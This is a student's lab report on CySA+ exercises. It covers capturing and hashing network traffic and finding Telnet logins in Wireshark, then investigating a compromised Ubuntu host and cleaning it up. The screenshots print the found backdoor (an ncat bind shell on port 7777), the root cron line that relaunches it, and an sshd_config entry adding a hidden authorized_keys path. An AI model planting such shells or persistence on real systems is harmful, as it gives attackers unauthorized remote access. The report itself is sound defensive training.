Lab Assignment 10

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General Context

The Digital Forensic Techniques lab focused on general skills in collecting, examining, and preserving network evidence. The lab emphasized packet capture and

protocol analysis, including the use of forensic tools to review network communications, isolate meaningful traffic patterns, and identify cases where credentials or system details were transmitted in cleartext. It also introduced evidence preservation concepts by emphasizing that collected data must be handled in a way that maintains integrity and supports later review or legal use. That overall approach aligns closely with NIST guidance that organizations should integrate forensic collection and analysis into incident response so evidence can support both technical investigation and decision-making.

The lab also involved examining network conversations, identifying insecure services, recognizing how a weak protocol can expose system details, and determining whether authentication-related data could be observed by an unauthorized party. It covered validating evidence through hashing so that a traffic capture can later be shown to be unchanged from the moment it was collected.

The Indicators of Compromise lab focused on investigating a host. It focused on recognizing the warning signs that a Linux system had been compromised and then assessing how an attacker maintained access (Scarfone & Mell, 2007). First, identify a file that stood out as abnormal, and then further investigate for unusual administrator activity, suspicious processes, abnormal listening ports, questionable scheduled tasks, and signs of data movement or remote access that should not normally be present. It also addressed persistence, meaning the methods an attacker uses to ensure access continues even if one malicious process is discovered and stopped. CISA describes indicators of compromise as the clues responders use to detect, diagnose, halt, and remediate malicious activity, which is exactly the type of work this lab was simulating.

During the investigation, the abnormal file was analyzed to determine that it was a backdoor script used to open a network port and allow remote command execution on the system. The lab then involved identifying and removing the cron job that repeatedly executed the script, terminating the malicious process, cleaning up unauthorized SSH key locations in the configuration, and verifying through process monitoring that the backdoor was no longer running.

Technical Context

The Digital Forensics Techniques lab focused on capturing, analyzing, and preserving network-based evidence. Live traffic is captured using the command tcpdump, which saves traffic from a network interface into a packet capture file that allows for later review. The command used was sudo timeout 20 tcpdump -i ens32 -w /home/ubuntu-user/data.pcap, which output data.pcap, allowing us to then use Wireshark to analyze the pcap file. Using some filters like tcp.port ==23 and tcp contains login, we were able to identify Telnet traffic and find authentication data. This allowed us to then examine insecure communications, identify cleartext exposure of system details and credentials, and follow TCP streams to verify whether unauthorized authentication had succeeded (Wireshark Foundation, 2024). The lab also covered forensic integrity validation by generating hashes of the captured evidence, using commands such as md5sum /home/ubuntu-user/data.pcap and shasum /home/ubuntu-user/data.pcap, so the packet capture could later be verified as unchanged from the time it was collected. According to the National Institute of Standards and Technology (NIST), digital forensic techniques such as traffic capture and hashing are commonly

integrated into incident response processes so investigators can preserve evidence and verify that collected data has not been altered during analysis (NIST SP 800-86).

The Indicators of Compromise lab focused on host-based compromise analysis and response on a Linux system. The investigation began by reviewing the filesystem for suspicious content with commands such as ls -al and ls -lt /, which helped identify an abnormal file named backdoor.sh. That file was then examined with cat /backdoor.sh, revealing that it was being used to open a port and spawn a shell for remote access. Network and process inspection were then used to identify attacker activity and persistence, including netstat -lntp to view listening ports and associated processes, ps -aux | grep cron to identify cron-related activity, and crontab -l to confirm that a malicious scheduled task was being used to repeatedly execute the backdoor (SANS Institute, 2023). As noted in the SANS Institute's incident response guidance, analysts frequently examine running processes, network connections, and scheduled tasks because these artifacts often reveal how attackers maintain persistence on compromised Linux systems. The lab also involved checking remote access activity with commands such as w, monitoring live network usage with iftop -n -i ens32, and inspecting SSH-related files and configuration, including ls /home/ubuntu-user/.ssh/ and reviewing /etc/ssh/sshd_config, to determine whether hidden authentication paths had been added for persistence.

The lab finally covered containment and remediation without fully rebuilding the system. This included removing the malicious scheduled task, terminating the attacker's active process with pkill ncat, deleting the backdoor using rm /backdoor.sh, temporarily

stopping SSH with service ssh stop, correcting unauthorized SSH configuration changes in /etc/ssh/sshd_config, removing the hidden key directory with rm -rf /home/ubuntu-user/.secret/, and then restarting the service with service ssh start. The final verification step used ps -aux and continued observation of system behavior to confirm that the malicious process had been eliminated and that the persistence mechanism no longer reappeared.

Screenshots

```
ubuntu-user@ubuntu19:~$ touch file1
ubuntu-user@ubuntu19:~$ sha256sum file1
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855  file1
ubuntu-user@ubuntu19:~$
```

```
ubuntu-user@ubuntu19:~$ sudo tcpdump -i ens32
[sudo] password for ubuntu-user:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens32, link-type EN10MB (Ethernet), capture size 262144 bytes
16:53:30.597339 IP 172.20.1.11.45915 > lodSense.localdomain.domain: 55111+ A? student.localdomain. (37)
16:53:30.597380 IP 172.20.1.11.45915 > lodSense.localdomain.domain: 59513+ AAAA? student.localdomain. (3
7)
16:53:30.597838 IP lodSense.localdomain.domain > 172.20.1.11.45915: 55111 NXDomain 0/1/0 (112)
16:53:30.597843 IP lodSense.localdomain.domain > 172.20.1.11.45915: 59513 NXDomain 0/1/0 (112)
16:53:30.598593 IP 172.20.1.11.55271 > lodSense.localdomain.domain: 51419+ A? student. (25)
16:53:30.598598 IP 172.20.1.11.55271 > lodSense.localdomain.domain: 29151+ AAAA? student. (25)
16:53:30.598941 IP lodSense.localdomain.domain > 172.20.1.11.55271: 51419 NXDomain 0/1/0 (100)
16:53:30.598943 IP lodSense.localdomain.domain > 172.20.1.11.55271: 29151 NXDomain 0/1/0 (100)
16:53:30.599248 IP student.34472 > lodSense.localdomain.domain: 8395+ [1au] PTR? 1.1.20.172.in-addr.arpa
. (52)
16:53:30.599731 IP lodSense.localdomain.domain > student.34472: 8395* 1/0/1 PTR lodSense.localdomain. (8
6)
16:53:30.600829 IP student.44357 > lodSense.localdomain.domain: 14432+ [1au] PTR? 11.1.20.172.in-addr.ar
pa. (53)
16:53:30.601253 IP lodSense.localdomain.domain > student.44357: 14432 NXDomain* 0/1/1 (112)
16:53:30.601376 IP student.44357 > lodSense.localdomain.domain: 14432+ PTR? 11.1.20.172.in-addr.arpa. (4
2)
16:53:30.601669 IP lodSense.localdomain.domain > student.44357: 14432 NXDomain* 0/1/0 (101)
16:53:31.427079 IP 172.20.1.11.35476 > lodSense.localdomain.domain: 41076+ [1au] AAAA? connectivity-chec
k.ubuntu.com. (58)
16:53:31.427510 IP lodSense.localdomain.domain > 172.20.1.11.35476: 41076 6/3/1 AAAA 2620:2d:4000:1::110
0, AAAA 2620:2d:4000:1::1101, AAAA 2620:2d:4002:1::198, AAAA 2620:2d:4002:1::197, AAAA 2620:2d:4000:1::1
099, AAAA 2620:2d:4002:1::196 (290)
16:53:32.483427 IP 172.20.1.11.mdns > mdns.mcast.net.mdns: 0 [2q] PTR (QM)? _ipps._tcp.local. PTR (QM)?
_ipp._tcp.local. (45)
16:53:32.484667 IP student.41715 > lodSense.localdomain.domain: 52372+ [1au] PTR? 251.0.0.224.in-addr.ar
pa. (53)
16:53:32.806584 IP lodSense.localdomain.domain > student.41715: 52372 1/0/1 PTR mdns.mcast.net. (81)
16:53:35.684763 ARP, Request who-has lodSense.localdomain tell 172.20.1.11, length 46
16:53:35.684997 ARP, Reply lodSense.localdomain is-at 00:0c:29:ca:e6:96 (oui Unknown), length 46
```

```
ubuntu-user@ubuntu19:~$ sudo timeout 20 tcpdump -i ens32 -w /home/ubuntu-user/da
ta.pcap
[sudo] password for ubuntu-user:
tcpdump: listening on ens32, link-type EN10MB (Ethernet), capture size 262144 by
tes
276 packets captured
285 packets received by filter
0 packets dropped by kernel
```

```
ubuntu-user

ubuntu-user@ubuntu19:~$ cat /etc/issue
Ubuntu 20.04.6 LTS \n \l
```

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

tcp contains login

No.	Time	Source	Destination	Protocol	Length	Info
40	5.639544	172.20.1.10	172.20.1.11	TELNET	82	Telnet Data ...
54	5.821848	172.20.1.10	172.20.1.11	TELNET	134	Telnet Data ...
95	6.260919	172.20.1.10	172.20.1.11	TELNET	82	Telnet Data ...
107	6.383993	172.20.1.10	172.20.1.11	TELNET	134	Telnet Data ...
153	6.843895	172.20.1.10	172.20.1.11	TELNET	82	Telnet Data ...
165	6.946746	172.20.1.10	172.20.1.11	TELNET	134	Telnet Data ...
209	7.382740	172.20.1.10	172.20.1.11	TELNET	82	Telnet Data ...
223	7.500074	172.20.1.10	172.20.1.11	TELNET	134	Telnet Data ...
259	12.809482	172.20.1.10	172.20.1.11	TELNET	82	Telnet Data ...

```
Encapsulation type: Ethernet (1)
Arrival Time: Apr  5, 2026 16:55:21.853546000 PDT
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1775433321.853546000 seconds
[Time delta from previous captured frame: 0.006684000 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Time since reference or first frame: 5.639544000 seconds]
Frame Number: 40
Frame Length: 82 bytes (656 bits)
Capture Length: 82 bytes (656 bits)
[Frame is marked: False]
```

```
0000  00 15 5d 01 80 01 00 15  5d 01 80 02 08 00 45 10   ··]····· ]·····E·
0010  00 44 5a fd 40 00 40 06  85 69 ac 14 01 0a ac 14   ·DZ·@·@· ·i····· 
0020  01 0b 00 17 95 fc 19 4b  70 a0 53 db 5a 4f 80 18   ·******K p·S·ZO··
0030  01 fe 5a 74 00 00 01 01  08 0a d1 7e 9d a5 f2 96   ··Zt···· ···~····
0040  c1 f2 75 62 75 6e 74 75  31 39 20 6c 6f 67 69 6e   ··ubuntu 19 login
0050  3a 20                                              :
```

```
ubuntu-user@ubuntu19:~$ sudo su
[sudo] password for ubuntu-user:
root@ubuntu19:/home/ubuntu-user# cd /root
root@ubuntu19:~# ls -al
total 48
drwx------  8 root root 4096 Sep 18  2024 .
drwxr-xr-x 20 root root 4096 Sep 10  2024 ..
-rw-------  1 root root    9 Apr  5 17:08 .bash_history
-rw-r--r--  1 root root    0 Sep 10  2024 .bash-log.done
-rw-r--r--  1 root root 3170 Sep 10  2024 .bashrc
drwx------  5 root root 4096 Mar 22  2022 .cache
drwx------  3 root root 4096 Nov 24  2021 .config
drwx------  3 root root 4096 Nov 24  2021 .dbus
drwx------  3 root root 4096 Nov 24  2021 .local
drwxr-xr-x  2 root root 4096 Mar 22  2022 LOD
-rw-r--r--  1 root root  161 Aug 17  2020 .profile
-rw-r--r--  1 root root   66 Sep 10  2024 .selected_editor
drwxr-xr-x  6 root root 4096 Nov 24  2021 snap
```

```
root@ubuntu19:~# ls -lt /
total 2097236
drwxrwxrwt  20 root root       4096 Apr  5 17:04 tmp
drwxr-xr-x  17 root root       4280 Apr  5 17:00 dev
drwxr-xr-x  35 root root        920 Apr  5 16:59 run
dr-xr-xr-x  13 root root          0 Apr  5 16:59 sys
dr-xr-xr-x 313 root root          0 Apr  5 16:59 proc
drwx------   8 root root       4096 Sep 18  2024 root
drwxr-xr-x 133 root root      12288 Sep 18  2024 etc
drwxr-xr-x   3 root root       4096 Sep 18  2024 boot
-rwxr--r--   1 root root         40 Sep 10  2024 backdoor.sh
drwxr-xr-x   4 root root       4096 Sep 10  2024 media
drwxr-xr-x  13 root root       4096 Sep 19  2023 snap
drwxr-xr-x   3 root root       4096 Feb 25  2020 home
drwxrwxr-x   2 root root       4096 Feb 25  2020 cdrom
lrwxrwxrwx   1 root root          7 Feb 25  2020 bin -> usr/bin
lrwxrwxrwx   1 root root          7 Feb 25  2020 lib -> usr/lib
lrwxrwxrwx   1 root root          9 Feb 25  2020 lib32 -> usr/lib32
lrwxrwxrwx   1 root root          9 Feb 25  2020 lib64 -> usr/lib64
lrwxrwxrwx   1 root root         10 Feb 25  2020 libx32 -> usr/libx32
lrwxrwxrwx   1 root root          8 Feb 25  2020 sbin -> usr/sbin
-rw-------   1 root root 2147483648 Feb 25  2020 swapfile
drwx------   2 root root      16384 Feb 25  2020 lost+found
drwxr-xr-x  14 root root       4096 Oct 17  2019 var
drwxr-xr-x  14 root root       4096 Oct 17  2019 usr
drwxr-xr-x   2 root root       4096 Oct 17  2019 mnt
drwxr-xr-x   2 root root       4096 Oct 17  2019 opt
drwxr-xr-x   2 root root       4096 Oct 17  2019 srv
```

```
root@ubuntu19:~# cat /backdoor.sh
#!/bin/bash

ncat -lp 7777 -e /bin/bash
root@ubuntu19:~# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      858/sshd: /usr/sbin
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      816/cupsd
tcp        0      0 0.0.0.0:7777            0.0.0.0:*               LISTEN      2518/ncat
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      621/systemd-resolve
tcp6       0      0 :::22                   :::*                    LISTEN      858/sshd: /usr/sbin
tcp6       0      0 ::1:631                 :::*                    LISTEN      816/cupsd
tcp6       0      0 :::7777                 :::*                    LISTEN      2518/ncat
root@ubuntu19:~#
```

```
root@ubuntu19:~# netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      858/sshd: /usr/sbin
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      816/cupsd
tcp        0      0 0.0.0.0:7777            0.0.0.0:*               LISTEN      2518/ncat
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      621/systemd-resolve
tcp6       0      0 :::22                   :::*                    LISTEN      858/sshd: /usr/sbin
tcp6       0      0 ::1:631                 :::*                    LISTEN      816/cupsd
tcp6       0      0 :::7777                 :::*                    LISTEN      2518/ncat
root@ubuntu19:~# ps -aux | grep cron
root         643  0.0  0.0   8160  2412 ?        Ss   16:59   0:00 /usr/sbin/anacron -d -q -s
root         646  0.0  0.0   9416  2944 ?        Ss   16:59   0:00 /usr/sbin/cron -f
root        4532  0.0  0.0   2608    88 ?        S    17:09   0:00 /bin/sh /etc/cron.weekly/update-notif
ier-common
root        4576  0.0  0.0   9032   716 pts/2    S+   17:11   0:00 grep --color=auto cron
root@ubuntu19:~# crontab -l
* * * * * root sh /backdoor.sh 2>&1

root@ubuntu19:~#
```

```
root@ubuntu19: ~
                    12.5Kb              25.0Kb              37.5Kb              50.0Kb          62.5K
172.20.1.20                         => 172.20.1.21                          0b      0b   1.74Kb
                                    <=                                      0b      0b   1.49Kb
172.20.1.20                         => 91.189.91.157                        0b      0b     15b
                                    <=                                      0b      0b     15b
```

```
  GNU nano 4.8                    /etc/ssh/sshd_config

# Authentication:

#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .secret/authorized_keys2 to be disregarded by default in future.
AuthorizedKeysFile      .ssh/authorized_keys .secret/authorized_keys

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
```

```
root@ubuntu19:~# ls /home/ubuntu-user/.ssh/
id_rsa  id_rsa.pub
root@ubuntu19:~# nano /etc/ssh/sshd_config
root@ubuntu19:~# crontab -e
crontab: installing new crontab
root@ubuntu19:~# pkill ncat
root@ubuntu19:~# rm /backdoor.sh
root@ubuntu19:~# service ssh stop
root@ubuntu19:~# nano /etc/ssh/sshd_config
root@ubuntu19:~# nano /etc/ssh/sshd_config
root@ubuntu19:~# rm -rf /home/ubuntu-user/.secret/
root@ubuntu19:~# service ssh start
```

CySA+ Digital Forensics Techniques
Lab · 1 hour

Digital Forensics is described as the preservation, identification, extraction, and documentation of computer evidence used by the court of law. It is a science of finding evidence from digital media like computers, mobile phones, servers, or networks. It gives the forensic the best techniques and tools to solve complicated digital-related cases. Digital Forensics assists the forensic team analyze, inspect, identify, and preserve the digital evidence residing on various electronic devices. Recover, analyze, and preserve computers and related materials in such a manner that it allows the investigation agency to present them as evidence in a court of law. Postulate the motive behind the crime and the identity of the main culprit. Design procedures at a suspected crime scene and ensure that the digital evidence obtained is not corrupted. Identify the evidence and estimate the potential impact of the malicious activity on the victim.

CySA+ Indicators of Compromise
Lab · 1 hour

Indicators of compromise (IOCs) are forensic data found in system log entries or files that identify conceivably malicious activity on a system or network. They assist information security and IT professionals in detecting data breaches, malware infections, or other threat activities. By monitoring IOCs, businesses can identify attacks and act quickly to stop violations from occurring or limit damages by preventing attacks in earlier stages. Indicators of compromise are vital components that lead information security and IT experts to discover malicious activity in the early stages. These unexpected actions are the red flags that indicate a possible or in-progress attack that could lead to a systems compromise. Moreover, IOCs are not constantly effortless to detect. They can be as simple as EXIF data components or astonishingly complex malicious code. Security Analysts frequently collect and classify many IOCs just to look for correlations and piece them together to analyze a potential threat or incident.

References

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